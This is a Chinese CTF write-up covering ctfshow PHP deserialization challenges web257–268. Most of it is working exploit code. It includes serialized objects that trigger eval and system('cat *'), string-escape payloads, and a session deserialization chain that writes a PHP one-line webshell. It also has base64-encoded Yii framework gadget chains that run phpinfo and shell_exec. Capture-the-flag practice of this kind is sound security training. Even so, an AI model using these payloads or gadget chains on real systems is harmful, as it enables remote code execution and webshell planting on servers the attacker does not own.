[WP/WEB/反序列化/未完]CTFshow-web257-268

Web257


class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    private $code = 'system("cat *");';
    public function getInfo(){
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()));
GET /?username=xxxxxx&password=xxxxxx HTTP/1.1
Host: c72b08d7-d4fc-4dee-bc67-67c354aea3bc.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17b07e3793842b-03ed5064508bcf8-4c3e257a-1bcab9-17b07e37939c96;user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22system%28%22cat+%2A%22%29%3B%22%3B%7D%7D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0


Web258

在o:11:中间添加+号(url编码形式)即可绕过正则的检验。

Web259

没掌握

Web260

过于简单

Web261

弱比较绕过写文件

__construct
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁
__destruct
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行,序列化输出前运行,但不影响序列化内容
__unserialize
// 触发条件,7.4版本以上,反序列化时出发,且可以绕过__wakeup
__sleep()
// 在对象被序列化之前运行
__wakeup()
// 在对象被反序列化之后被调用
__invoke
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法

Web262

增加型字符逃逸

关键点:伪造序列化变量**(右单引号直到花括号)**

计算 单词替换增量*n = 要逃逸字符个数**(右单引号直到花括号)**,求n,有时替换名单会给出多组字符串,找到一个正好完成逃逸工作的即可。

$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

Payload

?m=1&f=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可

Web263

Session反序列化

session位置

.\PHPStudyPro\Extensions\tmp\tmp

inc文件

inc通常指的是include的简写,表示这个文件被其他(多个)文件引用,当然最好写成
a.inc.php,这样的好处一是含义依然明确,而是避免将代码直接被访客下载(这种情况有时很严重,比如密码或者密码加密算法)
类似的,还有这样一些常用后缀名:
.class.php 类文件
.ini.php 配置文件

www.zip下载源码,check.php包含了inc.php,其中

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

$_SESSION['user'] = new User('1.php','');
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"$_POST[a]);?>";s:6:"status";N;}

|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"$_POST[a]);?>";s:6:"status";N;}
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

观察

check.php引用了inc.php

check.php的逻辑当中,当在数据库中未查询到相应结果时,将会对base64形式的$_COOKIE[‘limit’]变量进行解码(此处可利用使php序列化字符串解析器对该字符串进行反序列化,生成相应的对象)。

恰好,在包含的inc.php当中,有User类,且user类的销毁方法可以写文件,且写文件函数当中的变量全部可控。

因此思路为,

在本地创建User对象,利用User对象的Password和Username,传递一句话木马和文件名

将该对象赋值给本地的COOKIE当中的limit变量,limit非1,此时登录将由js逻辑向check.php发起请求,由于check.php的逻辑,且包含了inc.php文件,其中包含了User类,因此,

limit变量在进程当中被反序列化,得以执行销毁函数,写入文件,

此时在www目录下就有了该一句话木马。

SESSION简单的存储结构和使用机理

session_start();  // 开启一个新的或者已有的会话
// 以默认的方式保存SESSION
ini_set('session.serialize_handler', 'php');
$user=new User();
$_SESSION['user']=$user;
user|O:4:"User":1:{s:1:"a";s:5:"admin";}

// 以序列化方式存储SESSION
ini_set('session.serialize_handler', 'php_serialize');
$user=new User();
$_SESSION['user']=$user;
a:1:{s:4:"user";O:4:"User":1:{s:1:"a";s:5:"admin";}}

会话保存的键值对被保存到了SESSION当中,SESSION文件被随机化的命名,并保存在了PHP服务器的tmp文件夹下(形式为sess_xxxxxxxxxxx),在浏览器的应用和存储中,均可以以COOKIE形式查询到,保存为SESSIONID,键值即为服务器上的SESSION文件名。

Web264

以字符逃逸为形式的Session反序列化。

该题的字符逃逸思路和前文262题相同

?m=1&f=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

但是在序列化字符串的提交和反序列化上使用了session的相关内容。

Web265

使用浅拷贝/传址符/引用&将两个变量关联,使他们同时变化,即可解决随机数的问题。


class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->password = 1;
        $this->token = &$this->password;
    }
}

echo serialize(new ctfshowAdmin());

Web266

利用伪协议传递反序列化字符串,代码当中接受了input流,因此我们只需要在请求体当中包含该对象即可。

本题的难点在于,当匹配到ctfshow时,将会抛出异常,导致魔术方法__destruct无法正常的结束,导致反序列化的利用链无法正常的达到我们想要的结果,

PHP当中的类和函数名均不区分大小写,但是变量区分大小写,而匹配和正则函数却区分大小写,我们可以利用此原理进行绕过。

因此,只要将类名中的任意字符大写,即可实现绕过,

O:7:"ctfshow":2:{s:8:"username";s:0:"";s:8:"password";s:0:"";}
O:7:"Ctfshow":2:{s:8:"username";s:0:"";s:8:"password";s:0:"";}

此时,该逻辑当中的抛出异常被中止了,因此对象得以正常销毁。

另一种方法

当破坏序列化字符串的结构后,即使出现异常,也可以产生析构。

O:7:"ctfshow":2:{a}

Web267

本题为YII框架漏洞

利用脚本构造payload-data

(多种方法,写文件,读文件)


namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

拼接完整的payload

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

Web268

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=

你可能感兴趣的:(#,Write,Up,#,凌晨四点起床刷题,#,Web安全,php,反序列化,ctfshow)